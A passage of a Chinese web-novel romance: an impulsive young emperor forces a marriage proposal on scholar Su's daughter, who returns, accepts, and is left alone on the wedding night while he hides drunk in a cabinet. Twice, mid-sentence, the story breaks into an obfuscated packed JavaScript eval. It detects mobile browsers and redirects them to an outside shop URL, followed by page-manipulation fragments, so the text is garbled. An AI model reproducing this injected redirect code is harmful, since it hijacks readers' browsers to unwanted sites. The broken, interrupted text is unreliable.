文夕夫人白了老先生一眼,“你们男人当爹可真是容易,下了种就不用管了是不是?苏萤臣你这爹当的可真是合格,你自己女儿的心思你一点都不知道?” 苏老先生有些懵,文夕夫人嫌弃他又在被子里踹他一脚。 “我看今晚就是你女儿故意放那小子进院的,念念年纪小,未经情事。经历那么一遭,那小子做了她的第一个男人。心中再恨却总归还是有些不一样,哪能受得了那般死缠烂打,日子一久只怕真的要进宫去。正好大郎回来了。明日一早就让他带着念念回西北去,躲远点我就不信避开这桩祸事了。” 苏老先生这话听得下巴都要吓掉了,“夫人的意思念念喜欢皇帝那小子了?” 文夕夫人:“……” 苏老先生后怕道:“这可万万不能,天家无情,一入宫门深似海。嫁个寻常夫婿,老夫大学士的门第,家中两个封疆大吏,念念只管在夫家横着走,谁敢让她受一点委屈。要是嫁入皇家咱们做爹娘的往后可什么话都说不上了,何况那小子不能生了,跟捡根烧火棍回家有什么区别?” 文夕夫人被逗扑哧一笑,挪动身子用胳膊捅了捅苏老先生。 “你就那么看重生孩子,男人、女人在你心里就是用来传宗接代的?那我这些年给你生那么多孩子,也只是一个传宗接代的工具了?” “夫人这话说哪里去了,夫人在老夫心里自然就是顶顶珍贵的珍宝。”苏老先生探身支着胳膊望着文夕夫人的眼睛,“老夫为什么嫌弃那小子不能生了,那自是因为我好端端的女儿为何要委身他。你我夫妻都是过来人了,这件事真的只是生孩子传宗接代吗?” “哼,我才不与你说这些废话。那小子能不能生,我都不同意念念嫁进皇家去。” 文夕背过身去,沉默了一会儿,忽然沉声道: “韶川,要不然你辞官吧,还有大郎、二郎让他们都回四川去,我们再也不管朝廷里的事。江山是岳家的,并不是苏家的。” “夫人最是明白事理,怎会说出这些话。老夫还有大郎、二郎并不是做的岳家的官,做的是天下百姓的官。老夫不会辞官,大郎和二郎也不会辞官,也许有一日我们死在任上,正是心之所求。” 苏老先生从背后抱住文夕夫人,她有些难过,觉得刚才那般话辜负了大儒父亲文鸣阳的教导,白读了这些年的圣贤书。 她难过道:“那苏家是我的,请你们为我保护好我的女儿。” 苏老先生:“文夕,念念是我们的女儿。老夫一定会保护好她,明日老夫就去李家探探风声。李家那小子还愿意娶念念,我们就把亲事定下来。不愿意,就让大郎带着念念回西北去。” ————— 皇帝选秀,这次在京畿选一后两嫔。大选期间,京师凡婚嫁之事具停。除已婚配女子,凡家境清白,端庄贤淑的适龄女子皆可参选。 官府文榜发下去两天,衙门前就挤满了前来看报名或是看热闹的百姓。 报名女子经礼部初选,钦天监测算过八字后,最终入选二十名秀女,画师画好画像连通花名册一起送进宫中备选。 早朝过后,小太监就在乾清宫里举着画像供皇帝过目,大福伺候在一旁读花名册。 “大兴府县令周远胜之女,周妙妙,年十四。” 皇帝瞧着画里的窈窕姑娘皱眉,“那么小也适龄?朕十七了,她才十四!” 大福摆摆手赶紧让人收起画轴,又接着念道:“大理寺少卿莫青山之女,莫梨,年十六。” 皇帝看着画没出声,大福低声提醒道:“爷,这个不错,年纪同您差不多大小,模样也俊俏。” 皇帝:“下……下一个,这个太瘦了不好。” 大福只好接着再念,“礼部尚书郭书郭大人之女,郭萍萍,年十七。”然后他压低了声音提醒皇帝,“万岁爷,这个郭尚书的千金,京城里有名的才女。” “下一个……” “吏部侍郎石佑文之女,石鸢,年十五。” “左都御史范铭之女,范如意,年十六。” …… 大福一口气把剩下的花名册全念完,皇帝瞧着画上个顶个的天仙无动于衷。 “万岁爷,您觉得怎么样?奴婢觉得礼部尚书的千金出身名门,品行样貌样样俱佳,而且长的是不是还有点像苏娘子。” 皇帝冷冷的剜了他一眼,不高兴道:“你是不是收他们银子了?朕的苏娘子呢,她的画像怎么不在这里面?” 大福心虚,扑通跪在地上磕头请罪,“奴婢知错了,再也不用敢了,皇上饶命!” “行了,你起来,朕没说要把你怎么样。叫他们把这些都收了,瞧着朕心烦。” 皇帝转身坐上步撵走了,大福擦着虚汗起来,赶紧让人把画轴都收了。小跑着追上皇帝,进了乾清宫皇帝就开始研磨铺纸。没一会儿一个活灵活现的苏娘子就跃然纸上了,坐在轮椅里目视远方。 大福凑在皇帝跟前,咂舌道:“万岁爷,您怎么不用着苏娘子人都能把她画的那么像。奴婢从前看画师给先帝嫔妃们作画,可是要把人坐的脖子都僵了。” 皇帝被夸得有些翘尾巴,“苏娘子在朕心里,朕自然不用看她也能把她画的很好。朕一会儿就写旨,你把画和圣旨一起送到礼部。让他们派人带着册宝明日去苏家提亲宣旨,这次朕一定要娶到苏娘子。” “可是万岁爷……”大福压低了声音道:“奴婢听说这次苏家根本没给苏娘子报名选秀,娶亲这件不管是天子还是寻常百姓都讲究一个你情我愿。您这直接让礼部去宣 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副使肖阁老问道:“苏大人,令爱呢?皇上有钟意于令爱,特命老夫会同礼部官员前来宣旨。” 苏萤臣伏首道:“承蒙圣上抬爱,但小女此次并未参选秀女,圣上许是弄错,小女抱恙现下不在京城。” “婚姻大事,自古以来就是父母之命,媒妁之言。圣上有旨,苏大学士之女苏念辞钟祥世族,毓秀名门,性秉温庄,以册宝立为皇后。” 肖阁老诵完圣旨,高举在苏萤臣头顶上。 “恭喜苏大人,请接旨吧,老臣也要回宫向皇上复旨了。” 苏萤臣趴在地下一动不动,“恕臣斗胆,这旨臣不能接。请阁老向圣上言明,婚姻大事虽是父母之命,却也不能全然不顾儿女意愿。小女早先已经在议亲,不能接旨!” “苏大人,话老夫可以帮您带给皇上,但您可想清楚,不接可就是抗旨之罪。” “当今圣上贤明,定不会强人所难,这旨老夫不能接!” “老先生意已决,老夫回宫复旨罢。” 肖阁老领着皇帝奉旨乌泱泱的队伍在苏家门口掉头,瞧热闹的百姓纷纷交头接耳,议论着京城头号的新鲜事。 苏家抗旨的消息不过半个时辰就传回到了宫里,皇帝听见长丰的话竟是异常的平静,似意料之外,又似情理之中。 他早该想到了的,又不愿意去想,只是一个人在乾清宫里平静的坐着发呆。三福有些担心他,小心翼翼的问道: “万岁爷您怎么了?听长丰侍卫的话,这件事好像只是苏老先生拒绝您了,但苏娘子她自己呢?” 长丰抱剑立于大殿一侧,慢悠悠道:“苏娘子不在家,据推测应当是和苏家大公子去西北了。” 言下之意,苏娘子人不在家,但人走了就是拒绝皇帝的求亲了。 皇帝的情绪瞬间就崩溃了,发起疯来把御案堆积的奏疏一把全掀了撒的满地都是。 “朕不管,朕就要娶苏家的女儿!去告诉肖阁老,所有人不许回宫守在苏家外,守到苏念辞回来为止!” 大福机灵的躲开,赶紧带着口谕跑出乾清宫免得撞上枪口当皇帝的出气筒。因而肖阁老的提亲队伍刚走出江米巷,骑马的太监又一路高呼而来。 “圣上口谕,苏娘子不接册宝,提亲御旨禁止撤回!” 提亲队伍只好又艰难的返回,在大门前与苏家僵持起来。 日头逐渐高悬,过了吉时又饿又渴,看热闹的百姓顺势在巷子里支起小摊卖水卖食。 这时皇帝已经在宫里坐不住了,长丰久不传来苏娘子的消息,他的心里防线一点点的就崩塌了。抱头在御案前痛哭,听的三福他们心都揪了起来。 他们觉得苏娘子也许真的走了,再也不会回来了。 “万岁爷,您别伤心,天涯何处无芳草。苏老先生不识抬举,不想把女儿嫁给您,可朝廷里有的是人想给您当岳父。京城这些姝丽个个才华样貌不输苏娘子,您看要不就从这里秀女中选一个合您心的。你总说苏娘子现在不喜欢您,不代表日后不会喜欢您。那一样的道理,您现在不喜欢这些秀女,也不代表以后不会喜欢她们不是吗?” 皇帝倏的抬头,满目的心灰意冷,朝着三福大喊大叫。 “去把秀女图给朕拿来,朕现在就选。朕要选三宫六院七十二妃,有的是人想要把女儿送给朕!” 秀女图捧来,皇帝拿朱笔把每幅画都圈上了。压在最后面的是御笔亲绘的苏娘子,皇帝气愤的画花了画,画轴丢到地下狠狠的用脚踩,将他最心爱的苏娘子的脸都踩烂了。 “你不喜欢朕,朕也从来不稀罕你!苏念辞你走啊,走了就不要再回来,滚啊!” 14. 第 14 章 京师石家庄庄子上,还是一个多月前皇帝抢人的官道上,满京城都在找的苏娘子就在道上,同庄上石举人家的小公子牵着一只大黄狗玩。 苏娘子往道上丢出手里的沙包,大黄狗就颠颠的跑去捡,叼回来苏娘子就奖励它一口牛肉干。大黄狗吃完,苏娘子又从荷包里倒出一粒牛肉干放在大黄狗鼻子上让它闻。 “大黄坐下!坐!” 喊几声大黄狗就听明白了,坐在地下摇尾巴,等着吃牛肉干。 “真乖”苏娘子摊开手掌,大黄一口就把掌心里的牛肉干吃掉了,她开心的揉揉毛茸茸的狗头。放开开了手里的狗绳,大喊道: “大黄,自己去跑一会儿。” 一旁的石宽笑道:“娘子这几天开心了许多,还会为琐事烦恼吗?” 苏娘子望着眼前秀气的青衫公子,不好意思的捋了捋被风吹乱的碎发别到耳边,转眼眺望天边轻声叹息。 “会,如果不是出了变故,我还挺喜欢公子的。您相貌堂堂,为人风趣还会训狗,能和您一起扶持共度余生,想想应当也是不错的事。只是……” 她转过头,想了想下了很大的决心,问道:“我若非完璧,公子还会愿意娶我吗?” 大黄往道上跑完一圈蹿回来,很亲昵的就挨到石宽腿边,蹭着他的袍角。 “大黄,你现在的主人是苏娘子了,怎么还往我着蹭。以后要听苏娘子的话知不知道,保护她。” 大黄其实是石宽的狗,只不过家中不允许养,偷偷在外养被老学究石举人骂了一顿玩物丧志,拉到早市上去卖了。 正巧那日,长伯奉命出来买狗看家,大黄辗转进了苏家又落到了苏娘子手中。几日前苏娘子跟着苏明伯来石家拜访,才知道狗是石宽的。 他们想要物归原主没还掉,苏娘子便请石宽教她训狗。几日下来已经初有成效,知道哪些人该凶,哪些人不能凶了。 石宽捡起狗绳递给苏娘子,回答她的话。 “在下并非良人,我是软弱的读书人,弱冠之年一事无成仰仗于父祖。不瞒娘子,我父亲私下已同我说过这件事,他并不能接受,而我无力反抗。娘子如今其实已心有所归是不是,如果不是,那夜你就跟着你大哥去离开京城了,怎么还会在此逗留。” 苏娘子心思被点破,牵着大黄狗思绪有些乱。 “没关系,你父亲不过是人之常情而已。只是我的心,我似乎也不知道。并非非他不可,也非是他就不行。我不跟哥哥走,也许是担心我爹娘。那个人像个疯子一样,我不知道他还会做出什么事来。” “慢慢来,感情的事很奇妙,也许在某个特殊的时候,你突然就会看清楚它了。” 石宽安慰苏娘子,苏明伯从城内策马而来,在他们身边停下,神情严肃。 “皇上派人婚使去府上提亲了,下令苏家不接旨所有人不准撤回。苏府现下被婚使还有看热闹的百姓围得水泄不通,看来皇上已经知道你不在京城的消息,可能已经派人出来追了。念念,我们要赶紧离开石家庄,快上马车跟大哥走。” “可是爹娘,他会不会为难他们?” “他还不是那等丧心病狂的昏君,爹娘对他有养育拥立之恩,他不会伤害他们的。” “可是…..” 苏明伯下马拉着苏娘子的胳膊往庄子上走,她走了几步突然杵原地不动了。神色踌躇难过,一双秀眉紧紧的蹙在一起。看见她的样子苏明伯揣在心里的疑团,突然间就明朗了。 “小念,你真的喜欢上那小子了?” “我….我不知道,总之好像觉得不应该就这样一走了之。” 苏娘子不知道自己怎么了,不想嫁给那个男人,却又不想他娶别人了。她从来没有过这样霸道刁蛮的心思,变得很不像从前自己。 “大哥早就看出来了,你啊。” 苏明伯叹了一口气,放开苏娘子的手。认真的看着她,语重心长道: “念念,感情的事先动心的人就输了。你想明白了,进了那道宫门,以后的路就只能你自己走,爹娘还有哥哥们以后能帮你的就很少了。那个男人以后不可避免会有无数的女人,这样你也可以忍受得了?” 苏娘子当下反驳道:“他说他不会的。” 说完她就后悔了,苏明伯却笑了,“傻瓜,他是皇帝啊。从小到大你所有的路都是自己选的,今天大哥也让你自己选。” 当真要做抉择了,苏娘子有些害怕了。 “大哥,如果我赌错了,你可以进宫来带我回家吗?” 苏明伯望着她斩钉截铁道:“可以啊,只要你想回家。无论在哪里,大哥都可以来带你回家。” 苏娘子相信他的话,就像是当初被拐走一样,被塞进黑漆漆的小皮箱里,也是大哥第一个找到她,带她回家。 兄妹俩相视一笑,奉父逃走,逃到半路又回京了。 临走前石宽喊住苏娘子唤她等等,转身跑回庄子上,没一会儿回来手里拿着一卷画轴和一只小布狗。 “娘子的东西,别忘记了。大黄已经认得圣上的脸了,娘子不发它不会让圣上靠近你的。” “谢谢石公子,今生虽不能缔结良缘良缘,但祝愿公子早日得偿所愿,一展抱负。” “承娘子吉言。” 石宽把画轴和小布狗递给苏娘子,画轴展开来绢纸上绘着一副皇帝硕长的身影,着白衫束皮冠,眉眼深邃含春。温润如玉,一点都不像他会是随时发疯的模样。 苏娘子也不知道为什么,明明只正经看过他几眼,提笔竟跃然于纸上。大黄每天就看着这幅画,让往前就往前扑,让凶他就犬吠个不停,恨不得扑上去把画撕碎。 苏明伯看见画脸色却不大好,伸手把画连带着小布狗也抢走了。 “这画大哥给你收着,还有这狗是那小子的吧,别总拿在身边叫人察觉了,大哥一起先帮你收着。还有那小子现在对你醉翁之意不在酒,别太早暴露自己的感情。他若非良人,大哥就来接你回家。” 苏娘子点点头,借着苏明伯的力爬上马同石宽道别。 “这两日谢谢石公子的款待,我们来日再见。” 石宽拱手,“娘子与苏公子慢走。” 离开了石家庄,苏明伯左手牵着马,右手牵着大黄。苏娘子坐在马上望着远处翠绿的青山不自觉勾起唇角,摇头晃脑的哼起浅浅的小调。 苏明伯问道:“小念现在对那小子什么感觉?” 苏娘子:“不知道,我或许不喜欢他,可又不太甘心他娶别人。我想我就占着那个位置等,等到我喜欢他的时候。” “你啊,从小就被我们宠坏了。”苏明伯宠溺道,拉着马慢悠悠的带苏娘子回城。 他们到江米巷的时候,苏明伯就避开躲到人群后了。苏娘子的出现引起了一阵骚乱,有人高声大喊。 “苏娘子回来了,苏娘子在这!” 围观的百姓自动让开一条道,数百双眼睛齐齐望着苏娘子,手牵着一只大黄狗走到苏府大门前。苏萤臣和文夕夫人看见她,吓出一身冷汗。 “念念你….”夫妻俩异口同声的惊呼,抬头四处查看苏明伯的身影。 等了一日的肖阁老走到苏娘子前,早三天前礼部侍郎郭书就从苏三郎的口中得知,苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618055|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明伯回京偷带走了苏娘子。如今怎么突然又回来了,肖阁老脸色瞬间就黑了。 “苏娘子这一日去哪里,知道圣上还有老夫等了你多久吗?” 苏娘子扶起父母正要行礼解释,巷外又响起一阵马叫嘶鸣骚动,有太监尖锐的声音大喊道: “皇上驾到!” 话音一落,一道明黄的身影驾着红棕色的骏马疾驰而来骤停在苏府外。看见马下的人皇帝吓了一跳,却又不自觉怒火中烧,翻下马冲上前来劈头盖脸的吼道: “你去哪里了?朕问你,你去哪里了!苏念辞,朕的亲使等你一天了!你就那么讨厌朕,恨不得要连夜逃走!你既走了为什么又回来了,你走啊!你不想嫁给朕,你们全家都瞧不起朕,嫌弃朕。朕告诉你,京城有的是人想要做朕的女人。今日朕就问你一句话,你答不答应嫁给朕?你只要说一句不愿意,朕现在立刻就下旨娶这些秀女充实后宫!” 皇帝对着苏娘子咆哮,怒涨着脸,青筋暴起。情绪失控到身体直发抖,他没想到会在这里见到苏娘子。 以为她早就逃出京了,心灰意冷的他只是来苏府当着苏萤臣的面选妃给他看。他决意不再恪守那些压死人性的祖制规矩,做一个无道昏君渔色天下。告诉苏萤臣,他把他推上皇帝这个位置又不管不顾,毁了他的一生也毁了江山社稷! 可是苏娘子回来了,皇帝突然不知道怎么办了。 “三福,把秀女图拿来!” 三福应声立刻就把秀女图捧上,皇帝左手拿这册封苏娘子为后的圣旨,右手拿过托盘里叠放在最上面的画轴,同时举到苏娘子面前。 “苏念辞,朕再问你一遍,你要不要给朕当皇后!!你不当有的是女人想要当,你看清楚了她们都是想要爬上朕龙榻的女人!” 苏娘子冷冷的笑了,伸手拿过皇帝右手的画轴。 皇帝的心一下凉透了,面如死灰,牢牢抓着画轴不松手。 他想要她选圣旨,可他不想再对这个冷漠的女人低声下气了。难过又愤怒的眼眶都红了,噙着莹润的泪珠死死不落。 苏娘子又用力拽了拽,靠近来了闻见皇帝燥热的身体里散发出的淡淡酒味。杏眸抬头瞥了皇帝一眼,微微蹙眉,“你….你喝酒了?” “朕….”皇帝一触及她琥珀色的眼睛心思便乱了,苏娘子趁他不备,抽走画轴念起了上面姑娘的名字,“礼部尚书郭书之女,郭萍萍。” 苏府外所有人瞬间屏住了呼吸,只要苏娘子拒绝皇帝,皇后的宝座就落会落到礼部尚书之女手中。 皇帝也紧张起来,死死的盯着苏娘子僵在原地。她却转手又抽了皇帝左手的圣旨,他有些发懵不知道什么情况,一样紧紧的拽着。 苏娘子蹙眉,有些不高兴,“这个你不是给我的吗?” 皇帝心一下悬到了嗓子眼,磕磕巴巴问道:“你….你说什么?” “这个你不是给我的吗?”苏娘子指了指圣旨,皇帝瞬间领会她的意思欣喜若狂。当场一把抱住了苏娘子拥进怀里,哽咽到哭泣,“念念,你答应了?你答应朕了是不是,你答应做朕的皇后了是不是?” 苏娘子不知道是被勒的太紧喘不过气还是如何没说话,皇帝欢喜的抱起她转圈,开心的大喊大叫。 “念念,你答应朕了。朕知道,你愿意嫁给朕了!对不起,朕刚才不是故意吼你的,朕只是太心急了,你别生朕的气,朕以后再也不会对你大声说话了。” 皇帝不用哄自己就消气了,苏娘子怕被他甩出去,紧张的伸手抱住皇帝脖子,贴着他的胸膛很小声很小声道: “傻瓜,干嘛要喝酒啊。” 15. 第 15 章 皇帝娶亲的日子,钦天监择在四月十二日。正是暮春初夏的好时节,可以穿漂亮的衣服。 到了四月十二日迎亲的那日,三郎跑进内院大喊:“妹妹,皇上那小子亲自来接你了!他抬了花轿,还牵了一批大白马,不知道要干什么?” 苏娘子听见摘下凤冠溜出院去,吉时还未到,皇帝领着文武百官等在巷子里。她躲在门后看,不经意对上皇帝的眼睛,他也很巧的往门房的窗户看。 苏娘子不知道他有没有看见自己,但他对着这个方向笑了。 她想肯定是看见,老人常言成亲前男女不能相见会不吉利。她突然有点后悔跑出来了,隐隐觉得这次的任性也许不会有好结果。 吉时到,苏家门外又响起了一阵震耳欲聋的炮花声。鼓手们奏乐也更加又劲了,出阁前文夕夫人和苏家三位公子都来送了。 苏二郎昨日半夜才从福建赶回到京城,风尘仆仆,脸上的倦容还未散去。拿出了一只连夜挑选金钗作贺礼,因为回来的匆忙,来不及准备嫁妆。哥哥心疼妹妹,不好意思道: “念念,二哥原是回来给你出气的,不想竟变成了送你出嫁了。二哥回来的急,什么都没准备,匆匆买了根金钗当作你的新婚贺礼,回去哥哥一定把你的嫁妆补上。” 苏娘子才不在意是金钗还银钗,接过锦盒伸手抱住自己二哥。 “二哥从小最宠我了,二哥给我的就是最好的。我不要二哥给我添嫁妆了,哥哥攒点银子给我娶个嫂嫂吧。” 二郎提起亲事就有羞,拍着苏娘子的背腼腆道:“你啊,人小鬼大,还学会教训哥哥了。” “那是我知道二哥为官清廉,攒银子不容易,你又不要爹娘帮你。” 苏娘子放开二郎,大郎苏明伯命婢女两人展开一轴半人高的画轴——坤舆江山图,凭借着他多年南征北战绘下的地理图册,详细描绘的有山川地脉,河流走势分布。 大郎道:“小念这是大哥送你的坤舆江山图,另外还有三箱古今治河典籍和全国地方县志都放在你的嫁妆里了。你喜欢治河修书,这些够你研究很久了。读完了就写信给大哥,大哥再托人帮你找。” 苏娘子看见那副比自己人还高的地理图册,眼睛瞬间就亮了,爱不释手的轻手抚摸。 “大哥,原来你天天躲在书房里就是给我画图了。这图我想很久了,只是奈何自己见识浅薄,走过的地方太少,竟绘不出你的十二分之一。” “没事,有朝一日你若重想踏遍万里河山,大哥带你去。” “嗯,谢谢大哥。” 苏娘子亲自收起画轴,大郎和二郎送完礼,两人目光不自觉转到三郎身上。 苏家上下唯他二十七快要而立之年了一事无成,在大哥、二哥两位封疆大吏的衬托下黯然失色。 “念念,三哥没本事。现在还在家里吃爹娘,身无功名,没有什么可以送你。但三哥答应你,一定不会让你一个人待在那座笼子里的,三哥会永远陪在你身边。” 三郎傻乎乎道,也许因为觉得自己太拿不出手了,涨的面红耳赤。苏娘子收好大郎的画轴交给婢女,抱了抱三郎。 “三哥,你傻不傻。我进宫去了,你怎么陪在我身边。三哥,谢谢你从小到大陪着我胡闹。” 三郎一下鼻子就酸了,抱住苏娘子有点想哭。 “早知道那么快就要把你嫁出去了,那天我就不该放那小子进院去。念念你别怕,三哥会努力考功名入翰林进内阁,这样我们兄妹就又可以在一起了。” “那我们说好了,三哥,我们宫里见。” 苏娘子心里暖暖的,这时候花廊又热闹了起来,喜娘扯着尖细的声音边跑边喊。 “哎哟,我的万岁爷,您这不合规矩啊。哪有皇帝自己接新娘的,规矩都是让兄长背出去的。您去外面等等,新娘子马上就出来了。” 皇帝清朗的嗓音穿透窗柩,传进苏娘子的闺房里,“不是寻常人家也都是新郎自己接新娘吗?朕也要按规矩来,朕的皇后,朕自己去接。” 说话声很近了,苏娘子理了理衣服,对着三位哥哥恭敬三拜。 “有哥哥们在小念背后,前路是什么样子我都不怕。哥哥,小念走了。” “小念….”三位兄长还想在说些什么,皇帝的身影就踏进房来了。苏娘子转身别开脸,匆匆抓住一旁的盖头遮住自己。 “你…..你又发什么疯,吉时还没到,我还没挽好头发,出去!” 苏明伯看见皇帝,立刻领着两位弟弟行礼。皇帝瞟了他们一眼,不经意的摆摆手。凑在到苏娘子身后,伸手抓掉了她的遮脸的盖头。 “吉时到了,你总不出来了,朕都等心急了。念念,跟朕回宫吧。” “不行,我….我衣服还没穿好。” 苏娘子其实礼服凤冠都穿戴好了,只是皇帝突然杀进院里,弄的有些措手不及。按规矩原该是兄长背她出门,但现在皇帝又嚷嚷着要自己接新娘,弄的大伙一下都不敢动了。 苏娘子只想把他先骂出去,可皇帝在她面前一向无赖惯了,行事荒诞不经。当着苏家三位兄长的面,拉着苏娘子的手就伸手摸上了她的脸。 “念念,咱们骑马回宫。朕说过再也不会把你关进柜子了,你怕,我们一起骑马穿过整个紫禁城,从大明门进宫。” 苏娘子一愣,没想到他拉着马来竟是让自己骑的,不过这个人最不喜欢讲规矩了。 “你脚不能落地,朕抱着你出去。” 皇帝弯腰要来真的了,苏娘子慌道:“你胡闹什么,新娘怎么骑马,盖头呢?” “喔,差点忘了。把脸遮住,这样别人看不见你就合规矩了。” 皇帝从怀里掏出来一张绣着鸾凤和鸣的红纱系在苏娘子的发冠上,打横抱起她,不管她愿不愿意就踏出门去了。 喜娘没办法,只好喊了吉祥话引路。 院外文夕夫人赶来瞧见皇帝的行径又是一通无名怒火,苏萤臣死死拽住她的胳膊,以防文夕夫人当场作出什么殴打皇帝的事来。 苏萤臣:“天要下雨娘要嫁人,女儿大了就随她去吧。” 文夕捂脸埋在手帕里落泪,“那是皇宫,她日后若受了委屈怎么办?” 苏萤臣无奈叹气,能怎么办,只能看自己教出来的是什么货色了。 开国以来,帝后大婚,一向是由礼部官员奉旨意迎后,皇帝只需在紫禁城里等着举行封后大典。二百年来头一回皇帝亲自迎亲,还和皇后牵着大花红绸骑着马绕行北京城,在一片艳阳里缓缓入宫。 这天皇帝很高兴,交泰殿举行完封后大殿宴会群臣,皇后移步坤宁宫等着入洞房。 但很晚很晚天色黑透了,苏娘子坐在床边腰都酸了,皇帝还没回来。 苏娘子望了眼空寂的庭院,摘下凤冠坐到妆台前卸了妆面,“姑姑,我累了,把宫门关上吧。” 安心姑姑走过来帮她拆发髻,安慰道:“今日是大喜的日子,皇上要宴请群臣,许是忙这会儿说不定已经回来的路上了。” “嗯,姑姑去帮我看看。他身边太监少,喝了酒仔细在路上跌了。” 苏娘子轻吁了一口浊气,心想皇帝无权定然是在宴席上被刁难了,他这样胡作非为,朝廷那帮人指不定等着看他的笑话。 安心姑姑应好,领着四名小宫女提灯出了坤宁宫。 去往奉天殿的宫道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她觉得宫里能比皇后大就是皇帝了,皇帝来了她肯定是不敢不开门的。 “可是姐姐,皇上他…..” 四福脸色更加为难,好说歹说磨了一会儿小宫女就是不开门,他只好急匆匆跑回景阳宫。 冷殿里,大福、三福、长丰都在,几个围着角落里的梨花木柜,愁容满面。 四福冲进殿,滑跪溜到柜子前,轻轻敲了敲柜门。 “万岁爷,您怎么了?今天是您和皇后娘娘大喜的日子,您怎么能把娘娘扔在坤宁宫里呢。奴婢刚才去坤宁宫了,娘娘伤心了,您怎么能这样对她呢。咱们出来,回宫去看看娘娘好不好?” 柜子里只有低声的抽泣声,柜门被从里面锁住了打不开,从门缝里溢出浓重的酒气。三福捏着鼻子,凑近脑袋去扒着门缝瞧。 皇帝蜷缩作一团蹲在柜角里,惊恐的对上他的眼睛,满眼泪水。片刻之后又埋起了脑袋,仿佛这样他看不见三福,三福也看不见他了。 没办法,四福只好把目光投向了长丰,“长丰侍卫,您有没有什么办法打开柜门?” 长丰抱着长剑立在殿里,同殿柱融为一体,冷冷道:“有,但是我只是听令于皇上。” 言下之意,柜子是皇帝自己愿意钻的,没有皇帝的命令他不会自作主张。 三福、四福愁容满面,对视了一眼,哀叹道: “这下好了,皇上和皇后娘娘这梁子算是结下了。” 新婚之夜,皇帝把苏娘子一个人扔新房里,传出去苏家人该打进宫里来了。 16. 第 16 章 次日,艳阳都穿透景阳宫里了,逼退了寒气,暖意袭人。柜子里响起了动静,三福几人围坐在柜子外打盹被惊醒,担忧的敲柜门。 “万岁爷,您怎么样了?还好吗,这会儿都快要午时了,您饿不饿,要不要出来吃点东西。” “嗯。”柜子里只应了一声,久久不见动静。 三福几人不敢乱动,静静坐着等。柜门被皇帝从里面锁了,除了破门就只能等他自己从里面用钥匙打开。 过了一会儿,里面又传来了皇帝沙哑的声音。 “三福开门,朕要出去。” “万岁爷,门被您从里面锁住了。钥匙是不是在您那儿,您打开了就能自己出来了。” 皇帝悉悉索索的往身上摸,却没找到。 “三福,朕把钥匙弄丢了,你想办法把门卸下来,小心不要弄坏了。” “好,爷您等一会儿。” 三福几个人跑去找家伙,撬了门板接皇帝出来然后再把门按上。 出了景阳宫只有大福陪着皇帝回去,一路上皇帝安静极了,拖着沉重的步伐漫无目的走。晃了一会儿说要养心殿,阁老们等自己上朝一定等急了。等他跑到养心殿时候,看见里面空荡荡的,还有些想不明白。 “阁老们呢,今日不用上朝吗?” 大福扶住皇帝胳膊,担忧道:“万岁爷您怎么了,昨日您大婚,照祖制皇帝大婚休朝两日,您忘记了?” “是吗?朕娶谁了,朕怎么不记得了?” 皇帝用力的敲自己的脑袋,吐出好几口胸口的浊气,终于迟钝想起来了。 “对,朕成亲了,朕娶了苏娘子是不是?她人呢,昨夜朕没陪她,她生气了是不是?” “皇后娘娘在坤宁宫,万岁爷不是奴婢僭越,您昨夜也太过分了。大婚之夜,您把皇后娘娘一个人扔在坤宁宫里。这是宫里还没有别的嫔妃,不然您叫别人怎么看皇后娘娘。哪个女人刚成亲能受得了那么大的委屈,娘娘生气也是应该。” “朕知道委屈她了….”皇帝撩起袍子往金阶一坐,抱着脑袋自言自语,“朕觉得她有点小,朕不知道应该怎么面对她。” 大福没听清皇帝的嘟囔,关心道:“万岁爷您说什么?您要觉得身子还不舒服,咱们回乾清宫休息一会儿,稍晚去看看皇后娘娘可好?” “没事。” 皇帝没告诉别人,其实昨夜他去过坤宁宫了。那时候安心姑姑和宫里的嬷嬷还在教她要怎么侍寝,告诉她寝帐外会有敬事房的太监守夜,皇帝身体不好,最多可要一次就要起身。他偷偷在外面站了一会儿就走了,提着酒壶跑到景阳宫,后来的事就不记得了。 “大福,昨夜皇后独守坤宁宫的事别叫在宫里乱传,特别是不能传出宫外去叫苏师父知道了。还有一会儿你去把四福给朕叫来了,朕有事交待他。” “哎,万岁爷您慢点。” 大福搀着皇帝回乾清宫,又跑去景阳宫传话,四福飞快的就到乾清宫了。 “万岁爷怎么了?” 皇帝愁容满面,长长的叹了一口气,“怎么朕成个亲,内库还是一点盈余都没有呢,不是说有开支就能有进项吗?” 四福:“爷,内库银子都让掌事太监拿去大头了,除了各项巧立名目不能动的,能到您手上有多少,您底下还有那么大帮太监要养。” “那怎么办,苏娘子昨夜受了那么大委屈,她要是想出宫怎么办?朕得要巡城禁军把宫门给朕看严了,没有朕的旨意一概不许出宫去。” “爷,这不就是银子的事吗?奴婢有办法给您弄银子就看您敢不敢做。” “这不只是银子的事,你先给朕说你有什么法子弄银子。” 四福凑近去,低声道:“眼下咱们宫里最有钱的就是皇后娘娘,苏老先生应该陪嫁了不少的好东西。皇上实在周转不开可借点娘娘的嫁妆应应急,将来您掌实权有银子了再给娘娘添回去。” “不行,会叫皇后瞧不起朕的。那是她的嫁妆,她后半辈子的兜底银子,朕不能动!” 皇帝急得脸色涨红,四福脑袋灵活,贼溜溜的眼睛骨碌碌的转,不一会儿又道: “那这样您现在有皇后娘娘,可以娘娘的名义采买珠宝首饰了。这是祖宗定制惯例,阁老们拿不出错来。这采买里面油水可大了,就御膳房的那帮太监买个鸡蛋就敢报六两银子。这下金蛋也不值这些,这些年您都叫他们骗了,这些可都是您的银子。” 